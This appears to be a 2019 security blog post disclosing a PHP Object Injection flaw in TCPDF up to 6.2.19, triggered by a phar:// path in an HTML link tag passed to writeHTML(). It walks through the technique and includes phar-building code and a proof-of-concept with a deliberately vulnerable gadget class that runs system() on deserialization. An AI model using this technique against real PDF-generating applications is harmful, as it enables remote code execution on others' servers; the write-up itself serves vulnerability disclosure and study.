polict.net / blog /


yet another phar deserialization in TCPDF

March 17, 2019


In TCPDF <= 6.2.19 it is possible to exploit a PHP Object Injection via malicious HTML code and potentially achieve Remote Code Execution (RCE).


During august 2018 I learnt about the PHP Object injection vulnerability via phar:// automatic deserialization. While this vulnerability seems to be already known by people on the internet, it got quite a few attention at that time. After understanding the vulnerability I chose to look deeper for that issue in TCPDF.

In case you don’t know the attack technique yet, I suggest you read about it first through the slides or PHP doc.

table of contents

  1. whatis TCPDF
  2. howto start
  3. is that user input?
  4. gadgets needed
  5. fìn

0. whatis TCPDF

TCPDF is a “PHP library for generating PDF documents on-the-fly.”. A new library is in the works, but at time of issue discovery and time of writing that’s not production-ready yet.

1. howto start

Like the presentation suggests, we are looking for user-supplied paths which gets passed as arguments to file-related functions, for example file_exists().

First thing to do is grep the source code, since it’s available on github that’s a matter of git clone, cd and grep – about that, I recommend rg which is available on github too.

We get a ton of matches, I will not analyse them all since my goal was to find a single issue: but I do advise you to do it if you want to try it first-hand!

2. is that user input?

In this context our entrypoint most probably coincides with Cross-Site Scripting (XSS), which translates to arbitrary HTML code getting intepreted during the PDF creation. XSS might sound unlikely, but if we think about common PDF creation flows (like invoicing), there is at least one input which might end interpreted as HTML (for example our name in the invoice); from there we can eventually understand the filters/WAFs in place (if any) and bypass them.

TCPDF 6.2.19 (last vulnerable version) offers writeHTML(), which allows the developer to provide HTML code and get it intepreted and rendered in the PDF. It is quite limited but it allows some essential tags, like “a” and “img”, to be used (the img tag is actually the one exploited by Sam Thomas).

A “link” tag in particular allow us to use a custom CSS, which will be intepreted and used to customize the PDF: that looks like what we are looking for!

getHtmlDomArray() is the function which “parses HTML” and renders the result in the PDF. As we can see in the source code it extracts the filepath/URL from the link tag, which must follow the structure:

<link type="text/css" href="$malicious_path">

An actual phar archive is needed in order for the magic to work, the easiest way to create one is to use PHP itself:

$phar = new Phar('test.phar');
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($malicious_object); // <-- this is where the object is injected

The output will be in test.phar.

3. gadgets needed

Now that we can unserialize our file we need either to find a vulnerability in itself (which happened, and may continue to happen) or a weak PHP class available on runtime.

Proceeding with the second option, there are two usual paths: we know what’s available or we don’t. I didn’t manage to find any useful gadget in TCPDF itself, but we can try with some known gadgets and get lucky.

Since this part is highly dependant on the target system I leave that to you, however I recommend you have a try with phpggc, which is actively developed and can speed up the exploitation process. For sake of completeness I’ve attached a PoC code which is vulnerable to this attack and contains a gadget in itself (see appendix).

4. fìn

Some takeaways:

  1. [safe] PDF creation is hard
  2. PHP is dangerous
  3. “open-source” software might be “secure” since it is “open”, but that’s not always true
  4. if somebody has found vulnerabilities in some software, you can too



Sample vulnerable code, phar creation is left as exercise for the reader :-)

*    title:     PHP object injection via phar:// deserialization
*    author:    polict
*    target:    TCPDF (https://github.com/tecnickcom/TCPDF) <= 6.2.19
*    setup:     git clone https://github.com/tecnickcom/TCPDF.git && git checkout tags/6.2.19

/* include vulnerable class (any PHP Object Injection gadget can be used, see: https://github.com/ambionics/phpggc) */
class Vulnerable {
    private $hook;
    function __construct() {}
    function __wakeup() {
    if (isset($this->hook)) system($this->hook);}

/* include the main TCPDF library */
/* create new PDF document */
/* set document information */
$pdf->SetTitle('Proof of concept');
/* add a page */
/* create some HTML content */
$html = '<link type="text/css" href="phar://./poc.phar">';
/* output the HTML content -- exploit will trigger here */
$pdf->writeHTML($html, true, false, true, false, '');
/* close and output PDF document */
$pdf->Output('poc.pdf', 'I');